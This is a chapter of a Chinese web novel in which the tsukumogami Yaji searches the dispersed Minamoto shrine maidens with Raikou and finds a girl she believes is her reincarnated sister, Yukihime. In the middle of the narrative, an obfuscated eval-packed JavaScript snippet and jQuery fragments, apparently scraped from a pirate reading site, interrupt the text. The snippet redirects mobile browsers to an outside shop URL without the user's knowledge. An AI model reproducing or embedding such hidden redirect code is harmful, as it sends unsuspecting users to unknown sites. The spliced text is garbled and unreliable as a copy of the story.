待在源家实在太无聊了,每天重复一样的日子,半点有意思的事都找不到。
才过去两天,之前看着还算顺眼的几个男仆,现在再瞧只觉得乏味,夜姬早就看腻了。
她总想出门逛逛,可从这座大院出去,必经之路要路过源家的禁地祭坛。
她清楚那里有多吓人,驻守的鬼兵队就是没有感情的杀人工具,只要踩进祭坛结界,这些不知疲倦的鬼兵会立刻把她当成入侵者,没完没了地进攻,不死不休。
祭坛……
夜姬在床上翻了个身,脑子里反复琢磨这个地方。
那是姐姐以前天天都会去的地方,不管刮风下雨,都会站在那里诚心向神明祈祷。
一个念头忽然冒了出来:说不定她日思夜想的姐姐,就藏在这群巫女里面?
姐姐当年是源家巫女之首,身上有神赐的力量。当年油尽灯枯离世前,以姐姐的心思,肯定早就给自己留好了后路,有办法锁住魂魄,转世重生。
上次覆灭源家的计划已经失败,短时间内她根本动不了源家根基。
既然复仇只能暂时搁置,不如先换个目标,先找到姐姐再说。
其实最开始她也是这么打算的,只是这几年她一次次偷偷潜入源家探查,把周边所有地方翻了个遍,始终找不到半点姐姐的痕迹,才暂时压下这份念想,转头筹备复仇。
想清楚之后,夜姬从软榻上起身,推开木门,吩咐下人去给源赖光传话,说她要见他。
源赖光倒是挺给面子,再忙也抽空赶了过来。
“奶奶找我,有什么事?”他刚进门就开口问道。
“源家那些巫女现在都在哪?我想去见见她们。”夜姬开门见山。
源赖光坐到廊边,直白地回道:“以前巫女住的院子,我全都改成练兵场了。原先归属于源家的巫女早就四散分开,各自在外找地方落脚。”
“什么?!”夜姬手里摇着的折扇猛地停住,抬手重重敲了下他的脑袋,“巫女世代传承,是一族和神明沟通,承接福运的桥梁,你居然把她们全都赶走了?”
源赖光侧过头,淡淡扯了下嘴角:“我执掌的源家,不需要依靠神明庇护。神明从来都是虚无缥缈,不值得信任的。如果神明真的仁慈靠谱,百年前那场差点让源家彻底覆灭的灾难,根本就不会发生。”
“神明不能全信,但也不能一点都不信。”夜姬摸了摸胸口,差点被他这番话气到,“如果所有人都不再信奉神明,神明自然会彻底消失。人本身就很脆弱,遇上天灾人祸很容易陷入迷茫,到最后还是会生出信仰寄托。”
“照奶奶这么说,到底是人的意志更重要,还是神明的指引更重要?”源赖光依旧不肯退让,继续反驳。
夜姬折扇“啪”地一声合起。
“别跟我说这些冠冕堂皇的大道理,我没读过多少书,听不懂这些绕弯子的话。”她直接打断对方,“你只需要告诉我,那些被遣散的巫女都流落到了哪里,现在就带我去找。不然刀术的精髓,我半点都不会教你。”
她懒得和人争辩半天。
源赖光一眼看穿她的心思:“就算我带你过去,您未必真的愿意传授于我。”
夜姬没有回话,转身走到刀架旁抽出刀。
三尺长刀出鞘,寒光一闪,她就在庭院里随手使出一招最简单的刀式。
刀光骤然炸开,速度快到肉眼根本跟不上,看着不过随意一挥,威力却恐怖至极。
轰然一声巨响,院子前方厚实的青石围墙当场碎裂倒塌,墙边生长多年的参天大树被连根掀翻,枝干断裂,碎石尘土漫天飞舞,场面十分震撼。
一招结束,周遭恢复安静。
夜姬收刀站稳,随手把长刀丢给源赖光:“我只演示这一遍,记清楚了?”
这一招看着简单到看不出章法,杀伤力却强悍到极致。
源赖光哪怕全程紧盯,也没能完全看透其中诀窍,可眼前震撼的景象已经让他内心无比躁动,再也没有丝毫迟疑,松口答应:“我带您去。”
他太渴望这份力量了。
百年前那种以人熔刀的禁术,居然能锻造出威力如此恐怖的兵器。
要是他能批量造出这种利刃,未来的源家,甚至拥有和神明对抗的底气。
……
当年被源家赶出去的巫女,大部分只能独自去往各地神社,找清静的地方修行和供奉神明。
但大半人的下场都十分凄惨,在前一任家主掌权时,不少巫女被当成祭品,献给了邪神八岐大蛇,早已不在人世。
两人走遍了周边大大小小所有神社,荒废祠庙,一间间挨个寻访,始终没见到和姐姐长相相似的人。
直到找到最后一座藏在深山的无名神社,夜姬心里那点期待早就消磨殆尽,几乎不抱任何希望了。
这座老旧神社依山修建,一层层青石台阶蜿蜒向上,台阶两侧堆满枯黄落叶。晚风一吹,树叶沙沙作响,整座山林安静得只剩下风声。
就在夜姬抬眼,准备转身离开的那一刻,一道清瘦洁白的身影闯进了她的视线。
台阶中段,一个少女低着头,安安静静清扫满地落叶。
她一头雪白长发柔顺地搭在肩头,只用一根鲜红发带简单束起,红白相映,好看得夺目。
一身标准的素白巫女长裙,款式素雅。
不管是身形、身高,还是身上清冷温柔的气质,都和她刻在心底,一直惦记的姐姐,分毫不差。
一瞬间,全世界的色彩仿佛全都褪去,风声,落叶声,虫鸣全部消失,天地间只剩下台阶上这一个人。
积攒的思念,孤单,执念与期盼,在此刻彻底崩塌,汹涌的情绪冲垮了夜姬所有冷静克制。
温热的眼泪毫无预兆涌上眼眶,视线瞬间模糊,泪珠在眼底打转,马上就要掉下来。
夜姬呼吸猛地急促起来,心口又酸又烫,两种情绪紧紧揪着五脏六腑。
她再也克制不住,快步冲上前。
她抬起手,指尖不受控制地微微发抖,轻轻落在少女单薄的肩膀上。
掌心触碰到对方温热真实的体温时,她才敢确定,这不是幻觉。
她微微弯腰,通红的眼睛一瞬不瞬盯着少女的眉眼,近乎贪婪地不肯移开视线。
少女听见动静抬眼望来,一双通透干净的红瞳,是源家血脉独有的颜色。
面前的人,不再是梦里抓不住的虚影,而是活生生,温热真实地站在她面前。
夜姬彻底绷不住,手臂用力收紧,紧紧把眼前人抱进怀里。
这样真实温暖的怀抱,是她朝思暮想了无数个日夜的温度。
喉咙是压抑了多年的哽咽,声音一遍又一遍轻声响起,虔诚又珍重:“姐姐……姐姐……我就知道……我偷偷找了你好多年了,姐姐……”
她把脸颊贴在少女微凉的巫女服上,怀里的人柔软温热,真实得触手可及。
她一遍遍小声喊着姐姐,声音又软又酸涩,积攒许久的眼泪终于冲破防线,顺着眼角不停滑落,滚烫地砸在白色布料上。
没过多久,夜姬四肢瞬间发软无力,眼前少女的身影慢慢变得模糊。
最后夜姬身子一歪,靠在日思夜想的姐姐身上,彻底撑不住,晕了过去。
再次醒来时,夜姬躺在神社一间干净雅致的客房床铺上。
窗户半开,晚风裹着山间草木的清香吹进屋内。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638762|206646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道过了多久,门外传来轻轻的脚步声。
那个她心心念念的白发少女端着一碗温热米粥走进来,轻轻把瓷碗放在桌边,动作温柔安静,之后默默转身离开,没有多说一句话。
少女走后,一直在走廊等候的源赖光缓步走近。
他俯身,小心翼翼扶起浑身虚弱的夜姬,让她靠在自己肩头。
他拿起粥碗,舀起一勺,把勺子递到她冰凉的唇边,轻声哄道:“先喝点粥,有力气了再说别的。”
此刻夜姬脑子昏昏沉沉,浑身发软,心思还停在和姐姐重逢的震惊与欢喜里。
她张嘴咽下温热的米粥,没怎么咀嚼就吞了下去。
一勺接着一勺,安安静静小口喝着,不知不觉,一碗粥吃得干干净净,一点不剩。
源赖光放下空碗。
她茫然地抬眼,盯着空荡荡的碗底,迷迷糊糊问:“……我……我是饿晕过去的?为什么还要喝粥?”
“或许是吧。”源赖光神色平静,“我也没想到,身为付丧神的你,居然也需要食物。”
夜姬慢慢坐起身,脑袋依旧昏沉发胀:“那不奇怪,维持人身也是需要消耗的。”
话音刚落,她猛地回过神,涣散的眼神瞬间绷紧,一把攥住源赖光的衣袖,急忙追问:“姐姐……我姐姐去哪了?!”
源赖光看着她失态慌乱的样子,缓缓开口:“刚才那位巫女,并没有承认自己是你的姐姐。”
这句话像一根细针,刺破了她满心滚烫的欢喜。
她不信,一秒都没有耽搁,掀开被子下床,不顾浑身酸软无力,快步冲出客房。
庭院晚风微凉,月光如水铺满地面,给所有景物镀上一层清冷的银白。
月色之下,那个白发巫女正站在灶台旁,低头认真熬煮新的米粥。素白的身影融在温柔月光里,眉眼清冷温润,气质安静柔和。
月光细细勾勒她的五官轮廓,和记忆里十八岁的姐姐愈发重合,相似得让人发酸。
汹涌的思念再次涌上心头,几乎要将她淹没。
夜姬死死咬住下唇,强行压住眼底快要溢出的泪水,憋住喉咙里的哽咽,一步步走上前,轻声唤道:“姐姐。”
白发少女听见声音,慢慢转过身。
皎洁月光铺满她雪白的长发与清澈眼眸,面容清冷脱俗:“你一直叫我姐姐,但我们,应该是第一次见面。”
“外人看着或许不像,你记不起我,认不出我,可我一眼就能认出你。”
夜姬再也压不住所有克制,上前一步,直接伸手抱住少女温热的腰,把脸埋在对方肩头,说什么都不肯松手,“你叫源雪姬,是我唯一的亲姐姐。”
源雪姬浑身一僵,错愕道:“你怎么会知道我的名字?”
“原来姐姐转世之后,还是这个名字。”在姐姐面前,夜姬的声音也跟着变得软软的,“姐姐实在太傻了。当年牺牲得那么惨烈,好不容易重新活一次,为什么还放不下源家?”
她低声呢喃,都是憋了整整一百年的心里话:
“也是……你最想守护的从来都是源家。哪怕赌上性命也要护住这个家族,你怎么可能轻易放下?
那年你正是最好的年纪,却为了源家而选择牺牲,我也被活生生扔进烈火熔炉。
我们所有的痛苦,全是源家造成的。”
源雪姬没听明白,但却也产生了同理心。
夜姬紧紧抓着源雪姬的手腕,不给对方推脱的机会,轻声恳求:“我们聊聊天好不好?说说我们以前的事,可以吗?”
源雪姬看着她通红的眼眶,满眼的眷恋依赖,心底莫名生出一股温热的熟悉感。
她轻轻点头,没有拒绝。